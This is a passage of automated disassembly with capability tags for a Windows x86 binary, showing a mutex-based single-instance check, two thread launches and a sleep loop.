ja 0x405237
push edx
push ecx
call fcn.00414180
add esp, 8
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.004188f4
int3
Function at 0x406cc0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
cmp dword [0x4361a8], 0x10
mov eax, 0x436194
cmovae eax, dword [0x436194]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x406cec
ret
push 0
call fcn.004164bf
int3
Function at 0x412980
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4128a0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4128f0
push 0
push 0
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
nop
push 0x7530
call esi
jmp 0x412970
push ebp
mov ebp, esp
and esp, 0xfffffff8
call fcn.00408560
call fcn.00406cc0
mov ecx, 1
call fcn.00408170
mov ecx, 1
call fcn.00407c60
sub esp, 0x18
mov ecx, esp
call fcn.00405240
call fcn.00408a90
add esp, 0x18
call fcn.00410370
jmp 0x412940